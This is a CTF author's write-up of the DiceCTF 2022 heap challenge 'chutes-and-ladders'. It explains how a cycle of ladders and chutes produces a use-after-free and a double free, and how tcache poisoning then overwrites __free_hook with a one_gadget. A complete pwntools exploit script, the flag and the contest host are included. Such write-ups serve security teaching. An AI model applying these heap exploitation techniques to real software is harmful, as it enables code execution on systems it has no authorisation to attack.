DiceCTF 2022 - chutes and ladders
07 Feb 2022For DiceCTF 2022, I wrote one heap challenge, “chutes-and-ladders”. Out of a little over 1.1k teams, it got 15 solves which is not bad for a medium challenge I think.
As expected, it is a flavortext-comes-first, based-off-a-meme challenge :D. I procrastinated on challenge writing until pretty much the day before the CTF. And I released it in the +12 hour wave, except it was at 6 AM. Go figure.
Just as a disclaimer, I started writing the final exploit literally at 4 AM running on minimal hours of sleep the night before, immediately after writing the entire challenge. So the explanation might be a bit rough.
chutes-and-ladders
I am probably most proud of the board that I managed to output. It’s very pretty and the code to output it is very cursed.
Essentially, the challenge is a chutes and ladders simulator. You can pick your marker (a single byte) to represent your piece, and the board updates when you move. You can also specify how far your piece moves every time, or skip a move by “rolling” a 0.
These are the structs that will be important:
typedef struct Slot {
char * markers;
int playersHere; // bitwise of who is here
char idx;
} Slot;
typedef struct Player {
char * name;
char idx;
char boardpos;
} Player;
After a little bit of reversing, it should be apparent that whenever a player leaves a slot, the corresponding markers pointer will be freed, but it won’t be nulled until the piece is “finished” moving AND there are no remaining players on the slot. The other major bug is that when a chute or ladder is traveled, the program keeps looking for chutes / ladders. It checks all the ladders and then all the chutes.
Using the setup functionality in the beginning, we can engineer the existing chutes and ladders to construct a ladder-ladder-chute cycle, such as 4 -> 8 -> 10 -> 4. Thus, we keep our reference to the freed chunk because the program won’t null it out.
Also, when we move a piece the corresponding byte will be changed (1st piece changes 0xff, 2nd changes 0xff00, 3rd changes 0xff0000, etc) in the marker chunk. This is what we will use for our arbitrary write.
After using those bugs, it becomes a pretty simple trick to get an arbitrary 6-byte write (since we are on libc version 2.31, __free_hook is still a thing). I originally wanted the challenge to be harder but I couldn’t solve it in time so I just made “winning” chutes and ladders actually give you a libc address LOL.
One important thing to keep in mind is that the count of a tcache bin matters now. Big shock. So you have to double free two chunks to make sure you can actually get your poisoned chunk (pointing to __free_hook) back out.
Also, I thought it was a fun puzzle aspect to try to figure out how to coordinate piece movements to keep them from interfering with each other with the frees and mallocs.
Here was my strategy:
Chutes:
27 -> 25
37 -> 35
35 -> 31
43 -> 22
10 -> 4
Ladders:
31 -> 37
22 -> 25
25 -> 43
4 -> 8
8 -> 10
This constructs the cycles 4 -> 8 -> 10 and 22 -> 25 -> 43 -> 22 that we will use for the double free.
I initialized a game with 10 players, and the markers don’t matter now.
Then, I moved the first piece to slot 4 and the 10th piece to slot 22 to set up the double frees.
I then triggered the double free in slot 22 by moving the piece to slot 25, which triggered a cycle.
After that, I triggered the double free in slot 4 by moving the piece to slot 8. We want to write the address of __free_hook-4 into the tcache to use (I will explain why -4 later).
So before moving the piece, I changed the marker of piece 1 to be the lowest byte of __free_hook-4. After the double free, this byte will be written to the first byte of the freed chunk, which is the next of a tcache chunk. Our tcache poison begins!
I moved the next 5 pieces (6 pieces in total) to slot 4 as well, changing their markers accordingly. At the end, this should result in the address of __free_hook-4 being in the tcache.
HEAD -> SLOT_4_MARKER -> __free_hook-4 (poisoned)
To get the SLOT_4_MARKER chunk out, I moved piece 8 to slot 1, which was empty at the moment. From now I will keep a count of where pieces are at because keeping track is very important at the end.
(slot -> pieces)
0 -> 7, 9
1 -> 8
2 ->
3 ->
4 -> 1, 2, 3, 4, 5, 6
5 ->
6 ->
7 ->
8 ->
9 ->
22 -> 10
To set up my exploit for later, I moved pieces 1, 3, 4, and 10 back to slot 0.
Each time a piece moved back to slot 0, it’s marker was freed. So only one chunk ends up on the tcache freelist after this.
HEAD -> MARKER -> __free_hook-4 (poisoned)
The board is currently something like:
(slot -> pieces)
0 -> 1, 3, 4, 7, 9, 10
1 -> 8
2 ->
3 ->
4 -> 2, 5, 6
5 ->
6 ->
7 ->
8 ->
9 ->
I then moved piece 3 to slot 2, which takes a chunk off the tcache freelist. So now the poisoned chunk is ready to be used.
I shifted pieces 9 and 10 to slot 1, where piece 8 is. I also moved piece 4 to slot 1. Finally, I moved piece 4 to slot 2.
(slot -> pieces)
0 -> 1, 7
1 -> 8, 9, 10
2 -> 3, 4
3 ->
4 -> 2, 5, 6
5 ->
6 ->
7 ->
8 ->
9 ->
I then took out the pointer to __free_hook by moving piece 5 to an unoccupied slot 5.
(slot -> pieces)
0 -> 1, 7
1 -> 8, 9, 10
2 -> 3, 4
3 ->
4 -> 2, 6
5 -> 5 (this marker points to __free_hook)
6 ->
7 ->
8 ->
9 ->
The nice thing about this is that now we can write 6 bytes, and only trigger a free on the last move, which is enough to write a valid libc address!
I then moved pieces 5-9 to slot 5, changing markers as I went to the desired address. For this, I just used the 0xe6c81 one_gadget.
Finally, I moved piece 1 to slot 1. This calls free, meaning our hook is called and a shell is popped. Below is my solve script.
from pwn import *
e = ELF("./chutes")
libc = ELF("./libc.so.6")
context.binary = e
context.terminal = ["konsole", "-e"]
p = process([e.path])
p = remote("mc.ax", 31326)
#p = remote("localhost", 5000)
context.log_level="debug"
p.sendlineafter("):", "10")
p.sendlineafter("):", chr(0xa0))
p.sendlineafter("):", "B")
p.sendlineafter("):", "C")
p.sendlineafter("):", "D")
p.sendlineafter("):", "E")
p.sendlineafter("):", "F")
p.sendlineafter("):", "G")
p.sendlineafter("):", "H")
p.sendlineafter("):", "I")
p.sendlineafter("):", "J")
p.sendlineafter("):", "y")
p.sendlineafter("]:", "27 25")
p.sendlineafter("]:", "37 35")
p.sendlineafter("]:", "35 31")
p.sendlineafter("]:", "43 22")
p.sendlineafter("]:", "10 4")
p.sendlineafter("]:", "31 37")
p.sendlineafter("]:", "22 25")
p.sendlineafter("]:", "25 43")
p.sendlineafter("]:", "4 8")
p.sendlineafter("]:", "8 10")
def move(a, b, c, marker=None):
if a:
p.sendlineafter("n):", "y")
assert marker != None, "bruh"
p.sendlineafter(":", marker)
else:
p.sendlineafter("n):", "n")
p.sendlineafter("6):", str(b))
p.sendlineafter("n):", "y" if c else "n")
"""
1-A
2-B
3-C
4-D
5-E
6-F
7-G
8-H
9-I
10-J
"""
# libc leak
for i in range(16):
move(0, 6, 0)
for i in range(9):
move(0, 0, 0)
for i in range(9):
move(0, 0, 0) # lol
move(0, 0, 1) # view for leaks
#1
p.sendline("n")
p.sendline("3")
p.recvuntil("prize: ")
libc_leak = eval(p.recv(14))
libc.address = libc_leak - libc.sym["puts"]
print("libc", hex(libc.address))
p.sendline("n")
move(0, 0, 0)#8
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)#10
# move A to 0x4 to set up second dup
move(0, 4, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)#10
# move J to 0x16 for the 22-25-43-22 cycle
for i in range(3):
move(0, 0, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 6, 0)#10
move(0, 0, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 4, 0)#10
# dup the 0x16 chunk (J)
move(0, 0, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 3, 0)#10
want_addr = libc.sym["__free_hook"]-4
# dup the 0x4 chunk (A)
for i in range(6):
move(1, 4, 0, marker=chr(want_addr & 0xff))#1
want_addr >>= 8
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)#10
# take out of tcache
move(0, 0, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 1, 0)
move(0, 0, 0)
move(0, 0, 0)#10
# free hook ptr out
move(0, 4, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)#10
# reset 10th ptr
for i in range(13):
move(0, 0, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 6, 0)#10
# move everything to set up write
# take out the head (not free hook)
move(0, 2, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)#10
for i in range(16):
move(0, 6, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)#10
# now reset the excess holder (player 3) on idx 4 to idx 0
move(0, 0, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 3, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)#10
for i in range(16):
move(0, 0, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 6, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)#10
move(0, 0, 0)#1
move(0, 0, 0)
move(0, 2, 0) # take out the head (not free hook)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 0, 0)
move(0, 1, 0) # move to meet with chunk 8
move(0, 1, 0)#10, ^
want_addr = libc.address + 0xe6c81
move(0, 0, 0)#1
move(0, 0, 0)
move(0, 0, 0)
move(0, 1, 0) # move this up to take the spot that our final index will free when it completes the free hook
move(1, 1, 0, marker=chr(want_addr & 0xff)) # take out the free hook pointer, now it is at chunk 5
want_addr >>= 8
move(1, 1, 0, marker=chr(want_addr & 0xff))
want_addr >>= 8
move(1, 5, 0, marker=chr(want_addr & 0xff)) # used to be at idx 0
want_addr >>= 8
move(1, 4, 0, marker=chr(want_addr & 0xff)) # used to be at idx 1
want_addr >>= 8
move(1, 4, 0, marker=chr(want_addr & 0xff))
want_addr >>= 8
move(1, 4, 0, marker=chr(want_addr & 0xff))#10, moving this will free idx 1 but our free hook is complete so it's fine
# move(1, 1, 0, marker="\x69")
# move(0, 0, 0)#10
print("free hook", hex(libc.sym['__free_hook']))
print("system", hex(libc.sym["system"]))
#1, should spawn shell from free hook
p.sendlineafter("):", "n")
p.sendlineafter(":", "1")
p.interactive()
Flag: dice{i_can't_be_riding_round_n_round_that_open_strip_c2f678198132}
Tints B)